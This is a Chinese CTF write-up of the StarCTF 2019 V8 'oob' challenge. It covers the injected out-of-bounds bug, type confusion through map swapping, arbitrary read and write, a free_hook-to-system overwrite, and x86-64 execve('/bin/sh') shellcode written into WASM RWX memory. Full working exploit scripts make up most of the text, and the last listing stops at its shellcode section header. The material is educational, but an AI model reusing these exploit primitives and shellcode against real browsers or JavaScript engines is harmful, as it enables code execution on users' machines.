StarCTF 2019 (*CTF) oob 初探V8漏洞利用

开始学习浏览器安全。首先从这道*CTF 2019oob题目来入门Chrome V8引擎的基础利用。

本文参考资料:从一道CTF题零基础学V8漏洞利用 这篇文章写的非常详细

另外,在这之前需要对V8中的JS对象实现有基础的了解

我把一些基础和参考资料记录在了:Chrome V8 学习笔记(一)

调试准备

1
2
3
4
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply oob.diff
tools/dev/v8gen.py x64.release

然后编辑out.gn/x64.release/args.gn,加入以下内容,以支持job等命令打印对象。

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

最后ninja编译

1
ninja -C out.gn/x64.release d8

如果不修改args.gn内容的话,这样直接编译出来的d8在gdb中是不能用job打印对象内容的。

或者也可以用这个命令编译

1
tools/dev/gm.py x64.release

分析diff文件

diff中的关键部分,增加的oob()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ /* 参数多于2即退出 */
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver); //array即是this?
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); //取数组对象的elements出来
+ uint32_t length = static_cast<uint32_t>(array->length()->Number()); //数组长度
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length))); //读下标length的元素出来
+ //即越界读一个元素大小
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number()); //往下标length处写入value
+ //即越界写一个元素大小
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

看一下源码,猜一下一些函数的作用。。

类型参考

https://thlorenz.com/v8-dox/build/v8-3.25.30/html/dc/d5b/classv8_1_1internal_1_1_fixed_double_array.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// /src/objects/fixed-array-inl.h
double FixedDoubleArray::get_scalar(int index) {
DCHECK(map() != GetReadOnlyRoots().fixed_cow_array_map() &&
map() != GetReadOnlyRoots().fixed_array_map());
DCHECK(index >= 0 && index < this->length());
DCHECK(!is_the_hole(index));
return ReadField<double>(kHeaderSize + index * kDoubleSize); //将下标index处的value读出来
}
.
.
.
void FixedDoubleArray::set(int index, double value) {
DCHECK(map() != GetReadOnlyRoots().fixed_cow_array_map() &&
map() != GetReadOnlyRoots().fixed_array_map());
int offset = kHeaderSize + index * kDoubleSize;
if (std::isnan(value)) {
WriteField<double>(offset, std::numeric_limits<double>::quiet_NaN());
} else {
WriteField<double>(offset, value); //往下标offset处写入value
}
DCHECK(!is_the_hole(index));
}

大概可以知道,新增的JSArray.oob()函数允许对对象的elements数组进行一个单位大小的越界读写。

数组内存布局

定义两个数组,在gdb中查看内存布局

1
2
3
4
5
6
var obj = {loveyou:"sunxiaokong"};
var floatArray = [1.111];
var objArray = [obj];
%DebugPrint(floatArray);
%DebugPrint(objArray);
%SystemBreak();

内存布局如下,以floatArray为例,可以看到floatArray的elements数组最后一个元素elements[0]紧接着就是floatArray的map。因此,oob()方法实际上可以做到对数组对象map的读写。

另外,这里是使用[]方括号来声明数组的,得到的内存布局就如下,即对象的elements在对象的前面。但是我一开始用的是new Array()的方法来声明数组,得到的内存布局中,elements会放在对象的后面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//run in gdb
.
.
0x21e30d20e141 <JSArray[1]> <- floatArray
0x21e30d20e179 <JSArray[1]> <- objArray
.
.
pwndbg> job 0x21e30d20e141
0x21e30d20e141: [JSArray]
- map: 0x2afc5dfc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x21747dd91111 <JSArray[0]>
- elements: 0x21e30d20e129 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x3ba432700c71 <FixedArray[0]> {
#length: 0x35aecc3801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x21e30d20e129 <FixedDoubleArray[1]> {
0: 1.111
}
.
.
pwndbg> telescope 0x21e30d20e128
00:0000│ 0x21e30d20e128 —▸ 0x3ba4327014f9 ◂— 0x3ba4327001 <-elements.map
01:0008│ 0x21e30d20e130 ◂— 0x100000000 <-elements.length
02:0010│ 0x21e30d20e138 ◂— 0x3ff1c6a7ef9db22d <-elements[0]
03:0018│ 0x21e30d20e140 —▸ 0x2afc5dfc2ed9 ◂— 0x400003ba4327001 <-floatArray.map
04:0020│ 0x21e30d20e148 —▸ 0x3ba432700c71 ◂— 0x3ba4327008 <-floatArray.properties
05:0028│ 0x21e30d20e150 —▸ 0x21e30d20e129 ◂— 0x3ba4327014 <-floatArray.elements
06:0030│ 0x21e30d20e158 ◂— 0x100000000
07:0038│ 0x21e30d20e160 —▸ 0x3ba432700801 ◂— 0x3ba4327001

类型混淆

通过修改map指针,可以做到类型混淆。例如,修改floatArray的map指针为objArray的map指针,则v8会将floatArray中的float元素当成object指针去处理,反之,则可将objArray中的object指针当成float给泄漏出来。

定义两个函数addressOf()fakeObject()实现这两个功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//leak an object pointer
function addressOf(target)
{
objArray[0] = target; //put the target object into the object array
objArray.oob(mapFloatArray); //modify the map pointer of objectArray
//to the map pointer of floatArray
//then v8 would treat objArray[0] as a float
let ret = objArray[0]; //return the object's pointer as a float
objArray.oob(mapObjArray); //modify the map pointer back to the original
return ret;
}

//fake a float as an object pointer
function fakeObject(target)
{
floatArray[0] = target; //put the target float into the float array
floatArray.oob(mapObjArray); //modify the map pointer of floatArray
//to rhe map pointer of objectArray
//then v8 would treat floatArray[0] as an object
let ret = floatArray[0];
floatArray.oob(mapFloatArray); //restore the map pointer of floatArray
return ret;
}

再定义一些类型转化的函数,方便在浮点数和无符号整数之间转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* type convert */
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUnit64 = new BigUint64Array(buffer);

//convert 64bits float to unsigned int
function f2i(x)
{
float64[0] = x;
return bigUnit64[0];
}

//convert unsigned int to 64bits
function i2f(x)
{
bigUnit64[0] = x;
return float64[0];
}

//convert int to hex
function hex(x)
{
return "0x" + x.toString(16);
}

任意地址读写

可以通过将数组对象的elements数组伪造成一个数组对象,实现任意地址读写。

示意图如下。在elements[0]写入一个数组的array,elements[2]写入目的地址-0x10,然后再用fakeObject()方法将elements[0]的地址伪造成一个对象fake_array,再对fake_array[0]进行读写,实际上就是对目标地址进行读写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  elements      ____________________
+-------------->| map |
| --------------------
| | length |
| -------------------- fake ______________________
| | elements[0] | - - - - > | fake_map |
| -------------------- -----------------------
| | elements[1] | - - - - > | fake_properties |
| -------------------- -----------------------
| | elements[2] | - - - - > | fake_elements |---+
| -------------------- ----------------------- |
| |
| ----------------------- |
| array ----> ____________________ | target-0x10 |<--+ // map
| | map | | target-0x08 | //length
| -------------------- | target address | //elements[0]
| | properties指针 | | |
| --------------------
+---------------| elements指针 |
--------------------

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var floatArrayAddr = addressOf(floatArray);
var eFloatArray = f2i(floatArrayAddr) - 0x28n;
var myFakeArrayAddr = eFloatArray + 0x10n;
var myFakeArray = fakeObject(i2f(myFakeArrayAddr));
floatArray[0] = mapFloatArray; //fake the target as an array
// %DebugPrint(floatArray);
// %DebugPrint(myFakeArray);

//arbitrary address write
function write64(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
myFakeArray[0] = i2f(value);
console.log("[*] write to " +hex(addr) + " :\t" + hex(value));
}

//arbitrary address read
function read64(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = myFakeArray[0]
console.log("[*] leak " +hex(addr) + " : " + hex(f2i(data)));
return data;
}

// //test arbitrary address read/write
// var objAddr = addressOf(obj);
// console.log("obj address : " + hex(f2i(objAddr)));
// write64(f2i(objAddr)-1n, 0xdeadbeefn); //write
// var leakData = read64(f2i(objAddr)-1n); //read
// %SystemBreak();

执行测试代码后,输出结果如下,成功做到任意地址读写

传统CTF的利用

不稳定泄漏

传统CTF中很多时候可以通过往free_hook或写入system地址或onegadget达到getshell的目的,这道题同样。

首先要泄漏出地址,根据 https://www.freebuf.com/vuls/203721.html 中提示,根据泄漏出来的obj地址,可以向上很远的地方(objaddr-0x8000)开始查找一个d8地址空间中的地址,该处地址对应的指令为push rbp,可以看到这样的地址是不止一个的的。

因此,可以先选定一个地址,取低三位(即使开启地址随机化,低12位仍是恒定的偏移),只要从objaddr-0x8000开始循环读一个地址出来判断低12位,若符合我们选定地址的第三位,再读出地址里的内容,若目标地址内容为0x56415741e5894855,则可确定该地址即为d8装载空间中的地址,根据相对偏移即可确定d8装载基地址,再从got表中泄漏libc地址,即可完成内存泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*-------------------------------- leak --------------------------------*/
var objAddr = addressOf(obj);
var searchBase = objAddr-0x8000n-0x1n;
var leakAddrD8 = 0x41414141n;
var d8Base = 0x41414141n;
while(1)
{
let leakData1 = read64(searchBase);
if((leakData1 & 0xfffn) == 0xe40)
{
let leakData2 = read64(leakData1);
if (leakData2 == 0x56415741e5894855n)
{
leakAddrD8 = leakData1;
d8Base = leakAddrD8 - 0xe2de40n;
console.log(hex(searchBase) + " -> " +hex(leakAddrD8));
console.log("[*] d8 base : " + hex(d8Base));
break;
}
}
searchBase += 8n
}
var gotLibcStartMain = d8Base + 0x126d7a0n;
var addrLibcStartMain = read64(gotLibcStartMain);
var libcBase = addrLibcStartMain - 0x21ab0n;
console.log("[*] __libc_start_main : " + hex(addrLibcStartMain));
console.log("[*] libc base : " + hex(libcBase));
var freeHook = libcBase + 0x3ed8e8n;
console.log("[*] free_hook : " + hex(freeHook));
systemAddr = libcBase + 0x4f440n;
write64Dataview(freeHook, systemAddr); //write system to free_hook

然后往free_hook中写入system的地址,这里有一个问题,用之前写好的write64是无法完成写入的,原因可能与float数组对浮点数的处理有关。。这里 https://www.freebuf.com/vuls/203721.html 作者写了一个用dataView实现的write64操作,可以完成写入,方法是修改dataView对象中的buffer对象的backing store指针(buffer对象中的backing store即为分配到的堆块的实际地址)为目的地址,从而实现任意地址写。

1
2
3
4
5
6
7
8
9
10
11
12
var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
// %DebugPrint(dataBuf);
// %DebugPrint(dataView);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;
function write64Dataview(addr, value)
{
write64(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
// %SystemBreak();
// console.log("[*] write to : " +hex(addr) + hex(value));
}

用这个write64Dataview(freeHook, systemAddr);方法可以成功将system地址写入到free_hook

然后定义一个函数中的局部变量,内容为字符串/bin/sh,函数退出后,这个局部变量会被垃圾回收机制释放,即可触发system('/bin/sh'),最后还可以将free_hook改回去,这样退出shell后可以比较正常的退出,不然由于内存中一直存在的垃圾回收还会执行很多system(),可能会在目录下生成一些垃圾文件。

1
2
3
4
5
6
7
function pwnYou()
{
let cmd = "/bin/sh";
}
pwnYou(); //garbage collection would free the local variable "cmd"
//then would trigger system("/bin/sh")
write64Dataview(freeHook, 0x0n); //restore free_hook to exit normally

EXP

整理后的EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// myoobexp1.js
/*---------------------leak object and fake object---------------------*/
var obj = {loveyou:"sunxiaokong"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

//leak an object pointer
function addressOf(target)
{
objArray[0] = target; //put the target object into the object array
objArray.oob(mapFloatArray); //modify the map pointer of objectArray
//to the map pointer of floatArray
//then v8 would treat objArray[0] as a float
let ret = objArray[0]; //return the object's pointer as a float
objArray.oob(mapObjArray); //modify the map pointer back to the original
return f2i(ret);
}

//fake a float as an object pointer
function fakeObject(target)
{
floatArray[0] = target; //put the target float into the float array
floatArray.oob(mapObjArray); //modify the map pointer of floatArray
//to rhe map pointer of objectArray
//then v8 would treat floatArray[0] as an object
let ret = floatArray[0];
floatArray.oob(mapFloatArray); //restore the map pointer of floatArray
return ret;
}


/*----------------------------type convert----------------------------*/
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

//convert 64bits float to unsigned int
function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

//convert unsigned int to 64bits
function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

//convert int to hex
function hex(x)
{
return "0x" + x.toString(16);
}

/*------------------------arbitrary address read------------------------*/
var floatArrayAddr = addressOf(floatArray);
var eFloatArray = floatArrayAddr - 0x28n;
var myFakeArrayAddr = eFloatArray + 0x10n;
var myFakeArray = fakeObject(i2f(myFakeArrayAddr));
floatArray[0] = mapFloatArray; //fake the target as an array

//arbitrary address write
function write64(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n); //fake elements pointer to target addr
myFakeArray[0] = i2f(value); //write value to the target addr
}

//arbitrary address read
function read64(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n); //fake elements pointer to target addr
let data = myFakeArray[0]; //read value from the target addr
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;
function write64Dataview(addr, value)
{
write64(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

/*-------------------------------- leak --------------------------------*/
var objAddr = addressOf(obj);
var searchBase = objAddr-0x8000n-0x1n;
var leakAddrD8 = 0x41414141n;
var d8Base = 0x41414141n;
while(1)
{
let leakData1 = read64(searchBase);
if((leakData1 & 0xfffn) == 0xe40)
{
let leakData2 = read64(leakData1);
if (leakData2 == 0x56415741e5894855n)
{
leakAddrD8 = leakData1;
d8Base = leakAddrD8 - 0x997e40n;
console.log(hex(searchBase) + " -> " +hex(leakAddrD8));
console.log("[*] d8 base : " + hex(d8Base));
// alert("[*] d8 base : " + hex(d8Base));
break;
}
}
searchBase += 8n
}
var gotLibcStartMain = d8Base + 0xd98730n;
var addrLibcStartMain = read64(gotLibcStartMain);
var libcBase = addrLibcStartMain - 0x21ab0n;
console.log("[*] __libc_start_main : " + hex(addrLibcStartMain));
console.log("[*] libc base : " + hex(libcBase));
var freeHook = libcBase + 0x3ed8e8n;
console.log("[*] free_hook : " + hex(freeHook));
systemAddr = libcBase + 0x4f440n;
write64Dataview(freeHook, systemAddr); //write system to free_hook

function pwnYou()
{
let cmd = "gnome-calculator;";
}
pwnYou(); //garbage collection would free the local variable "cmd"
//then would trigger system(command)
write64Dataview(freeHook, 0x0n); //restore free_hook to exit normally

缺点

这种利用方式,地址泄漏不稳定,而且我不往out.gn/x64.release/args.gn中写入支持调试的参数,重新编译d8之后,d8地址空间中的got表地址、偏移等会发生变化,因此这种利用方式根本做不到稳定通用的利用。

稳定泄漏

https://www.freebuf.com/vuls/203721.html作者介绍了另一种稳定泄漏的方式

运行以下实例代码

1
2
3
var testArray = [1.11];
%DebugPrint(testArray.constructor);
%SystemBreak();

查看constructor对象

查看constructer中的code对象

可以看到,有一条指令中包含了一个d8地址空间的地址,只要将code+0x40处的指令读出来,再右移两个字节16位即可得到一个d8中的地址。用这个方法的内存泄漏代码:

1
2
3
4
5
/*------------------------------leak d8------------------------------*/
var code = read64(addressOf(floatArray.constructor)-0x1n+0x30n); //constructor.code ptr
var d8Leak = read64(code-0x1n+0x40n) >> 16n; //read addr from "mov r10, addr"
var d8Base = d8Leak - 0xad54e0n;
console.log("[*] d8 base : " + hex(d8Base));

成功泄漏d8基址,后面的操作就和刚才一样了,通过改freehook为system地址可getshell

EXP

整理EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
//myoobexp2.js
/*---------------------leak object and fake object---------------------*/
var obj = {loveyou:"sunxiaokong"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

//leak an object pointer
function addressOf(target)
{
objArray[0] = target; //put the target object into the object array
objArray.oob(mapFloatArray); //modify the map pointer of objectArray
//to the map pointer of floatArray
//then v8 would treat objArray[0] as a float
let ret = objArray[0]; //return the object's pointer as a float
objArray.oob(mapObjArray); //modify the map pointer back to the original
return f2i(ret);
}

//fake a float as an object pointer
function fakeObject(target)
{
floatArray[0] = target; //put the target float into the float array
floatArray.oob(mapObjArray); //modify the map pointer of floatArray
//to rhe map pointer of objectArray
//then v8 would treat floatArray[0] as an object
let ret = floatArray[0];
floatArray.oob(mapFloatArray); //restore the map pointer of floatArray
return ret;
}

/*----------------------------type convert----------------------------*/
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

//convert 64bits float to unsigned int
function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

//convert unsigned int to 64bits
function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

//convert int to hex
function hex(x)
{
return "0x" + x.toString(16);
}

/*------------------------arbitrary address read------------------------*/
var floatArrayAddr = addressOf(floatArray);
var eFloatArray = floatArrayAddr - 0x28n;
var myFakeArrayAddr = eFloatArray + 0x10n;
var myFakeArray = fakeObject(i2f(myFakeArrayAddr));
floatArray[0] = mapFloatArray; //fake the target as an array

//arbitrary address write
function write64(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n); //fake elements pointer to target addr
myFakeArray[0] = i2f(value); //write value to the target addr
// console.log("[*] write to " +hex(addr) + " : " + hex(value));
}

//arbitrary address read
function read64(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n); //fake elements pointer to target addr
let data = myFakeArray[0]; //read value from the target addr
//console.log("[*] leak " +hex(addr) + " : " + hex(f2i(data)));
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;
function write64Dataview(addr, value)
{
write64(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

/*------------------------------leak d8------------------------------*/
var code = read64(addressOf(floatArray.constructor)-0x1n+0x30n); //constructor.code ptr
var d8Leak = read64(code-0x1n+0x40n) >> 16n; //read addr from "mov r10, addr"
var d8Base = d8Leak - 0xad54e0n;
console.log("[*] d8 base : " + hex(d8Base));
var gotLibcStartMain = d8Base + 0xd98730n;
var addrLibcStartMain = read64(gotLibcStartMain);
var libcBase = addrLibcStartMain - 0x21ab0n;
console.log("[*] __libc_start_main : " + hex(addrLibcStartMain));
console.log("[*] libc base : " + hex(libcBase));
var freeHook = libcBase + 0x3ed8e8n;
console.log("[*] free_hook : " + hex(freeHook));
// %SystemBreak();
systemAddr = libcBase + 0x4f440n;
write64Dataview(freeHook, systemAddr);

function pwnYou()
{
let cmd = "gnome-calculator\x00";
}
pwnYou(); //garbage collection would free the local variable "cmd"
//then would trigger system("/bin/sh")
write64Dataview(freeHook, 0x0n); //restore free_hook to exit normally

成功弹出计算器

尝试pwn chrome

刚才的EXP是针对单独的v8引擎的,后来我针对题目附带的chrome改了一下got表等偏移量,将js嵌入html,成功往chrome进程的free_hook写入了system的地址,但是仍然无法弹出计算器,不知道为什么

可以看到确实是往freehook写入了system的地址,然后一会就崩掉了。。

不知道是什么原因不能正常弹计算器,如有师傅知道原因,恳请指正!

利用WASM执行shellcode

可以通过WASM,能得到一块RWX的内存,里面放着WASM的二进制代码,将shellcode写入到这块内存,再调用WASM接口时,就会执行Shellcode了。

首先要找到这块RWX内存,运行以下测试代码

1
2
3
4
5
6
7
8
9
10
11
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
console.log(f());
%DebugPrint(f);
%SystemBreak();

通过以下嵌套查找可以找到这块地址:

f->shared_info->data->instance+0x88。调试器中具体看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
pwndbg> job 0x2534e961fb01                                    <----- funciton f
0x2534e961fb01: [Function] in OldSpace
- map: 0x3e341d944379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2534e9602109 <JSFunction (sfi = 0x7b425808039)>
- elements: 0x320827c40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2534e961fac9 <SharedFunctionInfo 0> <----- this+0x18
- name: 0x320827c44ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2534e9601869 <NativeContext[246]>
- code: 0x2fe64b7c2001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x2534e961f909
- WASM function index 0
- properties: 0x320827c40c71 <FixedArray[0]> {
#length: 0x07b4258004b9 <AccessorInfo> (const accessor descriptor)
#name: 0x07b425800449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x07b425800369 <AccessorInfo> (const accessor descriptor)
#caller: 0x07b4258003d9 <AccessorInfo> (const accessor descriptor)
}

- feedback vector: not available
pwndbg> job 0x2534e961fac9
0x2534e961fac9: [SharedFunctionInfo] in OldSpace
- map: 0x320827c409e1 <Map[56]>
- name: 0x320827c44ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x2534e961faa1 <WasmExportedFunctionData> <------ this+0x8
- code (from data): 0x2fe64b7c2001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x320827c40c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0x320827c42a39: [FeedbackMetadata]
- map: 0x320827c41319 <Map>
- slot_count: 0

pwndbg> job 0x2534e961faa1
0x2534e961faa1: [WasmExportedFunctionData] in OldSpace
- map: 0x320827c45879 <Map[40]>
- wrapper_code: 0x2fe64b7c2001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x2534e961f909 <Instance map = 0x3e341d949789> <------ this+0x10
- function_index: 0

pwndbg> telescope 0x2534e961f908+0x88 <----- instance+0x88 -> rwxp
00:0000│ 0x2534e961f990 —▸ 0xd5fe14a8000 ◂— movabs r10, 0xd5fe14a8260
01:0008│ 0x2534e961f998 —▸ 0xe834b5ce439 ◂— 0x7100003e341d9491
02:0010│ 0x2534e961f9a0 —▸ 0xe834b5ce6a9 ◂— 0x7100003e341d94ad
03:0018│ 0x2534e961f9a8 —▸ 0x2534e9601869 ◂— 0x320827c40f
04:0020│ 0x2534e961f9b0 —▸ 0x2534e961fa31 ◂— 0x7100003e341d94a1
05:0028│ 0x2534e961f9b8 —▸ 0x320827c404d1 ◂— 0x320827c405
... ↓
pwndbg> vmmap 0xd5fe14a8000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xd5fe14a8000 0xd5fe14a9000 rwxp 1000 0

因此,可以通过addressOf和read64、write64等方法实现以下代码完成地址泄漏,并写入Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18n-0x1n);
var functionData = read64(sharedInfo+0x8n-0x1n);
var instanceAddr = read64(functionData+0x10n-0x1n);
var memoryRWX = read64(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

//sys_execve('/bin/sh')
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
var data_buf = new ArrayBuffer(56);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n - 0x1n;
write64(buf_backing_store_addr, memoryRWX);
data_view.setFloat64(0, i2f(shellcode[0]), true);
data_view.setFloat64(8, i2f(shellcode[1]), true);
data_view.setFloat64(16, i2f(shellcode[2]), true);

成功本地getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
/*---------------------leak object and fake object---------------------*/
var obj = {loveyou:"sunxiaokong"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

//leak an object pointer
function addressOf(target)
{
objArray[0] = target; //put the target object into the object array
objArray.oob(mapFloatArray); //modify the map pointer of objectArray
//to the map pointer of floatArray
//then v8 would treat objArray[0] as a float
let ret = objArray[0]; //return the object's pointer as a float
objArray.oob(mapObjArray); //modify the map pointer back to the original
return f2i(ret);
}

//fake a float as an object pointer
function fakeObject(target)
{
floatArray[0] = target; //put the target float into the float array
floatArray.oob(mapObjArray); //modify the map pointer of floatArray
//to rhe map pointer of objectArray
//then v8 would treat floatArray[0] as an object
let ret = floatArray[0];
floatArray.oob(mapFloatArray); //restore the map pointer of floatArray
return ret;
}

/*----------------------------type convert----------------------------*/
var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

//convert 64bits float to unsigned int
function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

//convert unsigned int to 64bits
function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

//convert int to hex
function hex(x)
{
return "0x" + x.toString(16);
}

/*------------------------arbitrary address read------------------------*/
var floatArrayAddr = addressOf(floatArray);
var eFloatArray = floatArrayAddr - 0x28n;
var myFakeArrayAddr = eFloatArray + 0x10n;
var myFakeArray = fakeObject(i2f(myFakeArrayAddr));
floatArray[0] = mapFloatArray; //fake the target as an array

//arbitrary address write
function write64(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n); //fake elements pointer to target addr
myFakeArray[0] = i2f(value); //write value to the target addr
// console.log("[*] write to " +hex(addr) + " : " + hex(value));
}

//arbitrary address read
function read64(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n); //fake elements pointer to target addr
let data = myFakeArray[0]; //read value from the target addr
//console.log("[*] leak " +hex(addr) + " : " + hex(f2i(data)));
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;
function write64Dataview(addr, value)
{
write64(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

/*------------------------------write shellcode------------------------------*/
